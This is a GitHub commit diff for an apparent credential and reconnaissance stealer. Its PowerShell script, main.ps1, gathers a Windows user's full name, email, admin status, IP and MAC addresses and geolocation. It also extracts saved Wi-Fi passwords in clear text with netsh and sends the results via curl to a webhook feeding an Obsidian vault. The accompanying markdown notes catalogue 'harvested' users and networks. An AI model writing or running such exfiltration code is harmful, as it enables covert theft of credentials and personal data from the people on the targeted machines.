Skip to content

Commit

Permalink
commit-2022-09-11 10:07
Browse files Browse the repository at this point in the history
  • Loading branch information
PrettyBoyCosmo committed Sep 11, 2022
1 parent ca7e1fc commit 96a63df
Show file tree
Hide file tree
Showing 9 changed files with 124 additions and 23 deletions.
8 changes: 4 additions & 4 deletions .obsidian/graph.json
Original file line number Diff line number Diff line change
@@ -1,21 +1,21 @@
{
"collapse-filter": false,
"search": "guest-wifi",
"search": "",
"showTags": true,
"showAttachments": false,
"hideUnresolved": true,
"showOrphans": true,
"collapse-color-groups": false,
"colorGroups": [
{
"query": "line:(windows-user)",
"query": "#user",
"color": {
"a": 1,
"rgb": 14701138
}
},
{
"query": "line:(wifi-hotspot)",
"query": "#wifi",
"color": {
"a": 1,
"rgb": 5431518
Expand All @@ -32,6 +32,6 @@
"repelStrength": 10,
"linkStrength": 1,
"linkDistance": 250,
"scale": 1.0000000000000009,
"scale": 1.5255568449083818,
"close": false
}
34 changes: 27 additions & 7 deletions .obsidian/workspace
Original file line number Diff line number Diff line change
Expand Up @@ -7,8 +7,24 @@
"id": "f6b4280685871104",
"type": "leaf",
"state": {
"type": "empty",
"state": {}
"type": "markdown",
"state": {
"file": "redro.md",
"mode": "source",
"source": false
}
}
},
{
"id": "cae407141cab5a3a",
"type": "leaf",
"state": {
"type": "markdown",
"state": {
"file": "user1.md",
"mode": "source",
"source": false
}
}
}
],
Expand Down Expand Up @@ -73,6 +89,7 @@
"state": {
"type": "backlink",
"state": {
"file": "redro.md",
"collapseAll": false,
"extraContext": false,
"sortOrder": "alphabetical",
Expand All @@ -89,6 +106,7 @@
"state": {
"type": "outgoing-link",
"state": {
"file": "redro.md",
"linksCollapsed": false,
"unlinkedCollapsed": true
}
Expand All @@ -110,7 +128,9 @@
"type": "leaf",
"state": {
"type": "outline",
"state": {}
"state": {
"file": "redro.md"
}
}
}
]
Expand All @@ -122,15 +142,15 @@
},
"active": "f6b4280685871104",
"lastOpenFiles": [
"guest-wifi.md",
"user1.md",
"redro.md",
"ROADMAP.md",
"redro.md.md",
"guest-wifi.md",
"burgerking-wifi.md",
"README.md",
"ROADMAP.md",
"user2.md",
"user3.md",
"burgerking-wifi.md",
"redro.md.md",
"file.md"
]
}
2 changes: 1 addition & 1 deletion burgerking-wifi.md
Original file line number Diff line number Diff line change
Expand Up @@ -3,4 +3,4 @@
- Password : pass123
- IP : X.X.X.X

wifi-hotspot
#wifi
2 changes: 1 addition & 1 deletion guest-wifi.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,4 +2,4 @@
ip : X.X.X.X
passwords

wifi-hotspot
#wifi
94 changes: 88 additions & 6 deletions main.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -25,19 +25,101 @@ function send_to_obsidian {
curl.exe -d "$message" -H "Content-Type: text/plain" $webhook"?path=$file"
}

# mark wireless information
function wireless_markdown {
# get wireless creds
$creds = (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-String
function Get-fullName {

try {

$fullName = Net User $Env:username | Select-String -Pattern "Full Name";$fullName = ("$fullName").TrimStart("Full Name")

}

# If no name is detected function will return $env:UserName

# Write Error is just for troubleshooting
catch {Write-Error "No name was detected"
return $env:UserName
-ErrorAction SilentlyContinue
}

return $fullName
}

function Get-email {

try {

$email = GPRESULT -Z /USER $Env:username | Select-String -Pattern "([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})" -AllMatches;$email = ("$email").Trim()
return $email
}

# If no email is detected function will return backup message for sapi speak

# Write Error is just for troubleshooting
catch {Write-Error "An email was not found"
return "No Email Detected"
-ErrorAction SilentlyContinue
}
}

# mark user information
function user_markdown {

#
send_to_obsidian -message "# $account" -file $markdown
# general values
$full_name = Get-fullName
$email = Get-email
$is_admin = ($currentPrincipal = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)

# network values
# $public = curl.exe https://ident.me
$private = (get-WmiObject Win32_NetworkAdapterConfiguration|Where {$_.Ipaddress.length -gt 1}).ipaddress[0]
$MAC = ipconfig /all | Select-String -Pattern "physical" | select-object -First 1; $MAC = [string]$MAC; $MAC = $MAC.Substring($MAC.Length - 17)

# geolocation values
$geolocation = Get-GeoLocation


# create markdown content
$content = @"
# $account
## General
Full Name : $full_name
Email : $email
## User Info
UserName : $username
UserProfile : $account
Admin : $is_admin
## Wireless
Public : public
Private : $private
Mac : $MAC
## Connected Networks
- [[guest-wifi]]
- [[burgerking-wifi]]
## Nearby Networks
- #starbuck-wifi
- #mcdonalds-guest
## Geolocation
<div class="mapouter"><div class="gmap_canvas"><iframe width="600" height="500" id="gmap_canvas" src="https://maps.google.com/maps?q=40.7484405,-73.9878531&t=k&z=13&ie=UTF8&iwloc=&output=embed" frameborder="0" scrolling="no" marginheight="0" marginwidth="0"></iframe><a href="https://2piratebay.org">pirate bay</a><br><style>.mapouter{position:relative;text-align:right;height:500px;width:600px;}</style><a href="https://www.embedgooglemap.net">google maps insert</a><style>.gmap_canvas {overflow:hidden;background:none!important;height:500px;width:600px;}</style></div></div>
## Tags
#user
"@
# send data
send_to_obsidian -message $content -file $markdown

}

# mark wireless information
function wireless_markdown {
# get wireless creds
$creds = (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-String
}

user_markdown
1 change: 0 additions & 1 deletion redro.md
Original file line number Diff line number Diff line change
@@ -1 +0,0 @@
# redro
2 changes: 1 addition & 1 deletion user1.md
Original file line number Diff line number Diff line change
Expand Up @@ -25,4 +25,4 @@ Mac : XXX.XXX.XXX.XXX
## Geolocation
<div class="mapouter"><div class="gmap_canvas"><iframe width="600" height="500" id="gmap_canvas" src="https://maps.google.com/maps?q=40.7484405,-73.9878531&t=k&z=13&ie=UTF8&iwloc=&output=embed" frameborder="0" scrolling="no" marginheight="0" marginwidth="0"></iframe><a href="https://2piratebay.org">pirate bay</a><br><style>.mapouter{position:relative;text-align:right;height:500px;width:600px;}</style><a href="https://www.embedgooglemap.net">google maps insert</a><style>.gmap_canvas {overflow:hidden;background:none!important;height:500px;width:600px;}</style></div></div>

windows-user
#user
2 changes: 1 addition & 1 deletion user2.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
<div class="mapouter"><div class="gmap_canvas"><iframe width="600" height="500" id="gmap_canvas" src="https://maps.google.com/maps?q=40.7484405,-73.9878531&t=k&z=13&ie=UTF8&iwloc=&output=embed" frameborder="0" scrolling="no" marginheight="0" marginwidth="0"></iframe><a href="https://2piratebay.org">pirate bay</a><br><style>.mapouter{position:relative;text-align:right;height:500px;width:600px;}</style><a href="https://www.embedgooglemap.net">google maps insert</a><style>.gmap_canvas {overflow:hidden;background:none!important;height:500px;width:600px;}</style></div></div>


windows-user
#user


#starbuck-wifi
2 changes: 1 addition & 1 deletion user3.md
Original file line number Diff line number Diff line change
@@ -1,3 +1,3 @@
[[guest-wifi]]

windows-user
#user

0 comments on commit 96a63df

Please sign in to comment.